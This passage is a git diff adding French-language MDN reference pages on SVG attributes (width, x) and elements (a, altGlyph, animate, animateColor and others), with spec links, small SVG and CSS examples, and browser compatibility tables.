+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#SVGElementWidthAttribute" title="http://www.w3.org/TR/SVG/struct.html#SVGElementWidthAttribute">SVG 1.1 (2nd Edition): svg element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#UseElementWidthAttribute" title="http://www.w3.org/TR/SVG/struct.html#UseElementWidthAttribute">SVG 1.1 (2nd Edition): use element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveWidthAttribute" title="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveWidthAttribute">SVG 1.1 (2nd Edition): Filter primitive</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/masking.html#MaskElementWidthAttribute" title="http://www.w3.org/TR/SVG/masking.html#MaskElementWidthAttribute">SVG 1.1 (2nd Edition): mask element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("fr/docs/Web/SVG/Content_type","Length") }}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>rect</span> <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Eléments">Eléments</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>width</code> :</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#FilterPrimitive" title="en/SVG/Element#FilterPrimitive">Filter primitive elements</a> »</li>
+ <li>{{ SVGElement("filter") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("rect") }}</li>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("use") }}</li>
+ <li>{{ SVGElement("mask") }}</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/x/index.html b/files/fr/web/svg/attribute/x/index.html
new file mode 100644
index 0000000000..86786e50e3
--- /dev/null
+++ b/files/fr/web/svg/attribute/x/index.html
@@ -0,0 +1,88 @@
+---
+title: x
+slug: Web/SVG/Attribute/x
+tags:
+  - Attribut
+  - NeedsCompatTable
+  - NeedsUpdate
+  - SVG
+translation_of: Web/SVG/Attribute/x
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>x</code></strong> indique une coordonnée en x pour le système des coordonnées de l'utilisateur. L'effet de cette coordonnée dépend de l'élément sur lequel elle est utilisée. La plupart du temps, elle représente l'abscisse du coin en haut à gauche de la région rectangulaire pour l'élément. Cet attribut a la même syntaxe que <code><a href="https://www.w3.org/TR/SVG11/types.html#DataTypeLength">&lt;length&gt;</a></code></p>
+
+<p>Si cet attribut n'est pas défini, on aura le même effet que si on avait utilisé la valeur <strong>0</strong>. Les éléments {{SVGElement("filter")}} et {{SVGElement("mask")}} font exception à cette règle, la valeur par défaut pour cet attribut est ici <strong>-10%</strong>.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de valeur</th>
+   <td><code><a href="/fr/docs/Web/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Peut être animée</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Spécifications</th>
+   <td><a class="external" href="https://www.w3.org/TR/SVG/text.html#AltGlyphElementXAttribute">SVG 1.1 (seconde édition) : élément <code>altGlyph</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/interact.html#CursorElementXAttribute">SVG 1.1 (seconde édition) : élément <code>cursor</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/filters.html#fePointLightXAttribute">SVG 1.1 (seconde édition) : élément <code>fePointLight</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/filters.html#feSpotLightXAttribute">SVG 1.1 (seconde édition) : élément <code>feSpotLight</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/filters.html#FilterElementXAttribute">SVG 1.1 (seconde édition) : élément <code>filter</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/extend.html#ForeignObjectElementXAttribute">SVG 1.1 (seconde édition) : élément <code>foreignObject</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/text.html#GlyphRefElementXAttribute">SVG 1.1 (seconde édition) : élément <code>glyphRef</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/struct.html#ImageElementXAttribute">SVG 1.1 (seconde édition) : élément <code>image</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/pservers.html#PatternElementXAttribute">SVG 1.1 (seconde édition) : élément <code>pattern</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/shapes.html#RectElementXAttribute">SVG 1.1 (seconde édition) : élément <code>rect</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/struct.html#SVGElementXAttribute">SVG 1.1 (seconde édition) : élément <code>svg</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/text.html#TextElementXAttribute">SVG 1.1 (seconde édition) : élément <code>text</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/struct.html#UseElementXAttribute">SVG 1.1 (seconde édition) : élément <code>use</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/filters.html#FilterPrimitiveXAttribute">SVG 1.1 (seconde édition) : primitive de filtre</a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/masking.html#MaskElementXAttribute">SVG 1.1 (seconde édition) : élément <code>mask</code></a><br>
+    <a class="external" href="https://www.w3.org/TR/SVG/text.html#TSpanElementXAttribute">SVG 1.1 (seconde édition) : élément <code>tspan</code></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{page("/fr/docs/Web/SVG/Content_type","coordinate")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: xml">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewBox="0 0 120 120"
+     xmlns="https://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"/&gt;
+&lt;/svg&gt;</pre>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>On peut utiliser l'attribut <code>x</code> sur les éléments suivants :</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Element#Éléments_de_primitives_de_filtre">Les éléments de primitives de filtres</a></li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+ <li>{{SVGElement("image")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("use")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/a/index.html b/files/fr/web/svg/element/a/index.html
new file mode 100644
index 0000000000..a33829bf99
--- /dev/null
+++ b/files/fr/web/svg/element/a/index.html
@@ -0,0 +1,134 @@
+---
+title: a
+slug: Web/SVG/Element/a
+tags:
+  - Element
+  - SVG
+  - SVG Conteneur
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément SVG <strong><code>&lt;a&gt;</code></strong> crée un hyperlien vers d'autres pages web, fichiers, emplacements dans la page en cours, adresses email, ou toute autre URL.</p>
+
+<p>En SVG, l'élément <code>&lt;a&gt;</code> est un conteneur, ce qui veut dire que vous pouvez créer un lien autour du texte comme en HTML, mais que vous pouvez aussi créer un lien autour de n'importe quelle forme.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div class="hidden">
+<pre class="brush: css">@namespace svgns url(http://www.w3.org/2000/svg);
+html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;!-- Un lien autour d'une forme --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;circle cx="50" cy="40" r="35"/&gt;
+  &lt;/a&gt;
+
+  &lt;!-- Un lien autour d'un texte --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;text x="50" y="90" text-anchor="middle"&gt;
+      &amp;lt;circle&amp;gt;
+    &lt;/text&gt;
+  &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">/* Comme SVG ne fournit pas de style visuel par défaut pour les liens,
+   il est en recommendé d'en ajouter manuellement */
+
+@namespace svgns url(http://www.w3.org/2000/svg);
+
+svgns|a {
+  cursor: pointer;
+}
+
+svgns|a text {
+  fill: blue; /* Même pour du texte, SVG utilise fill plutôt que color */
+  text-decoration: underline;
+}
+
+svgns|a:hover, svgns|a:active {
+  outline: dotted 1px blue;
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+
+<div class="warning">
+<p>Étant donné que cet élément partage son nom de balise avec l'<a href="/fr/docs/Web/HTML/Element/a">élément HTML <code>&lt;a&gt;</code></a>, la sélection de "<code>a</code>" avec CSS ou <a href="/fr/docs/Web/API/Document/querySelector"><code>querySelector</code></a> peut s'appliquer au mauvais type d'élément. La <a href="/fr/docs/Web/CSS/@namespace">règle <code>@namespace</code></a> permet de faire la distinction entre les deux.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p> </p>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="SVG/Attribute#Core">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel" title="SVG/Attribute#ConditionalProccessing">Attributs de traitement conditionnel</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Événement_graphiques" title="SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation" title="SVG/Attribute#Presentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_XLink" title="SVG/Attribute#XLink">Attributs Xlink</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{htmlattrxref("download", "a")}} {{experimental_inline}}</li>
+ <li>{{SVGAttr("href")}}</li>
+ <li>{{htmlattrxref("hreflang", "a")}}</li>
+ <li>{{htmlattrxref("ping", "a")}} {{experimental_inline}}</li>
+ <li>{{htmlattrxref("referrerpolicy", "a")}} {{experimental_inline}}</li>
+ <li>{{htmlattrxref("rel", "a")}} {{experimental_inline}}</li>
+ <li>{{SVGAttr("target")}}</li>
+ <li>{{htmlattrxref("type", "a")}}</li>
+ <li>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</li>
+</ul>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en-US/docs/DOM/SVGAElement" title="DOM/SVGAElement">SVGAElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajoute l'attribut <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Remplace l'attribut {{SVGAttr("xlink:href")}} par {{SVGAttr("href")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.a")}}</p>
diff --git a/files/fr/web/svg/element/altglyph/index.html b/files/fr/web/svg/element/altglyph/index.html
new file mode 100644
index 0000000000..0309fc608f
--- /dev/null
+++ b/files/fr/web/svg/element/altglyph/index.html
@@ -0,0 +1,113 @@
+---
+title: altGlyph
+slug: Web/SVG/Element/altGlyph
+tags:
+  - Element
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/altGlyph
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<p>L'élément <code>altGlyph</code> permet la selection des glyphes utilisées pour restituer un caractère de donnée.<br>
+  </p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#ConditionalProccessing">Attributs à traitement conditionnel</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#XLink">Attributs XLink</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("dx") }}</li>
+ <li>{{ SVGAttr("dy") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("glyphRef") }}</li>
+ <li>{{ SVGAttr("format") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/Web/API/SVGAltGlyphElement" title="en/DOM/SVGAltGlyphElement">SVGAltGlyphElement</a></code>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th scope="col">Fonctionnalité</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('2.0') }} <a href="#supportGecko">[1]</a></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatOpera('10.6') }}</td>
+   <td>{{ CompatSafari('4.0') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile('2.0') }} <a href="#supportGecko">[1]</a></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatOperaMobile('11.0') }}</td>
+   <td>{{ CompatSafari('4.0') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p id="supportGecko">[1] support partiel, voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=456286" rel="external">bug 456286</a> et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=571808" rel="external">bug 571808</a>.</p>
+
+<p>Le graphique est basé sur <a href="/fr/docs/Web/SVG/Compatibility_sources">ces sources</a>.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("tspan") }}</li>
+ <li>{{ SVGElement("glyph") }}</li>
+ <li>{{ SVGElement("altGlyphDef") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/altglyphdef/index.html b/files/fr/web/svg/element/altglyphdef/index.html
new file mode 100644
index 0000000000..26f1616c86
--- /dev/null
+++ b/files/fr/web/svg/element/altglyphdef/index.html
@@ -0,0 +1,42 @@
+---
+title: altGlyphDef
+slug: Web/SVG/Element/altGlyphDef
+tags:
+  - Element
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/altGlyphDef
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<p>L'élément <code>altGlyphDef</code> défini une représentation de substitution pour les glyphes.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a class="new" href="/fr/docs/Web/API/SVGAltGlyphDefElement" title="en/DOM/SVGAltGlyphElement">SVGAltGlyphDefElement</a></code>.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("glyph") }}</li>
+ <li>{{ SVGElement("glyphRef") }}</li>
+ <li>{{ SVGElement("altGlyphDef") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/altglyphitem/index.html b/files/fr/web/svg/element/altglyphitem/index.html
new file mode 100644
index 0000000000..ddd7465200
--- /dev/null
+++ b/files/fr/web/svg/element/altglyphitem/index.html
@@ -0,0 +1,44 @@
+---
+title: altGlyphItem
+slug: Web/SVG/Element/altGlyphItem
+tags:
+  - Element
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/altGlyphItem
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<p>L'élément <code>altGlyphItem fournit un ensemble de candidats pour la substitution de glyphes par l'élément </code>{{ SVGElement("altGlyph") }}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<p><em>Aucun</em></p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a class="new" href="/fr/docs/Web/API/SVGAltGlyphItemElement" title="en/DOM/SVGAltGlyphElement">SVGAltGlyphItemElement</a></code>.</p>
+
+<p> </p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("glyph") }}</li>
+ <li>{{ SVGElement("glyphRef") }}</li>
+ <li>{{ SVGElement("altGlyphDef") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/animate/index.html b/files/fr/web/svg/element/animate/index.html
new file mode 100644
index 0000000000..0859c08093
--- /dev/null
+++ b/files/fr/web/svg/element/animate/index.html
@@ -0,0 +1,109 @@
+---
+title: animate
+slug: Web/SVG/Element/animate
+tags:
+  - Animation SVG
+  - Element
+  - SVG
+translation_of: Web/SVG/Element/animate
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément SVG <strong><code>&lt;animate&gt;</code></strong> est utilisé pour animer un attribut ou une propriété d'un élément au fil du temps. Il est normalement inséré dans l'élément cible ou référencé par l'attribut <code>href</code> de l'élément.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel">Attributs de traitrement conditionnel</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Événements_d'animation">Attributs d'événement d'animation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_XLink">Attributs Xlink</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Animation_cible">Attributs cible d'attributs d'animation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Timing_de_l'animation">Attributs de timing de l'animation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Valeurs_de_l'animation">Attributs de valeur de l'animation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Addition_de_l'animation">Attributs d'addition de l'animation</a></li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("attributeName")}}</li>
+ <li>{{SVGAttr("attributeType")}}</li>
+ <li>{{SVGAttr("from")}}</li>
+ <li>{{SVGAttr("to")}}</li>
+ <li>{{SVGAttr("dur")}}</li>
+ <li>{{SVGAttr("repeatCount")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en-US/docs/Web/DOM/SVGAnimateElement">SVGAnimateElement</a></code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[6-7]">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"&gt;
+    &lt;animate attributeType="XML" attributeName="x" from="-100" to="120"
+        dur="10s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemple", 120, 120)}}</p>
+
+<h2 id="Problèmes_d'accessibilité">Problèmes d'accessibilité</h2>
+
+<p>Les animations qui clignotent peuvent être problématiques pour les personnes ayant des problèmes cognitifs tels que le Trouble du Déficit de l'Attention avec ou sans Hyperactivité (TDAH). De plus, certains types de mouvements peuvent être un élément déclencheur pour les personnes présentant un risque de troubles vestibulaires, d'épilepsie, de migraine et de sensibilité à la scotopie.</p>
+
+<p>Envisagez de créer un mécanisme permettant de suspendre ou de désactiver l'animation, ainsi que d'utiliser la <a href="/fr/docs/Web/CSS/@media/prefers-reduced-motion">requête reduced-motion</a> pour améliorer l'expérience des utilisateurs ayant définit pour préférence de ne pas avoir d'animations.</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.animate")}}</p>
diff --git a/files/fr/web/svg/element/animatecolor/index.html b/files/fr/web/svg/element/animatecolor/index.html
new file mode 100644
index 0000000000..f0e0c3023e
--- /dev/null
+++ b/files/fr/web/svg/element/animatecolor/index.html
@@ -0,0 +1,95 @@
+---
+title: animateColor
+slug: Web/SVG/Element/animateColor
+tags:
+  - Animation SVG
+  - Element
+  - SVG
+translation_of: Web/SVG/Element/animateColor
+---
+<div>{{SVGRef}}{{deprecated_header}}</div>
+
+<div class="warning">
+<p>Cet élément est déprécié depuis SVG 1.1 Deuxième édition et peut etre retiré dans une prochaine version de SVG. Il ne fournis pas de fonctionnalités non disponible en utilisant l'élément {{ SVGElement("animate") }}. Il n'est pas implémenté dans Firefox ni dans Internet Explorer. Il est préférable d'utiliser l'élément {{ SVGElement("animate") }} à la place.</p>
+</div>
+
+<p>L'élément <strong><code>&lt;animateColor&gt;</code></strong> spécifie une transformation de couleur à travers le temps.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#ConditionalProccessing">Attributs à traitement conditionnel</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationEvent">Attributs d'événements d'animation</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#XLink">Attributs XLink</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#AnimationAttributeTarget">Attributs de cible d'attribut d'animation</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/SVG/Attribute#AnimationTiming" title="SVG/Attribute#AnimationTiming">Attributs d'animation de timing</a> »</li>
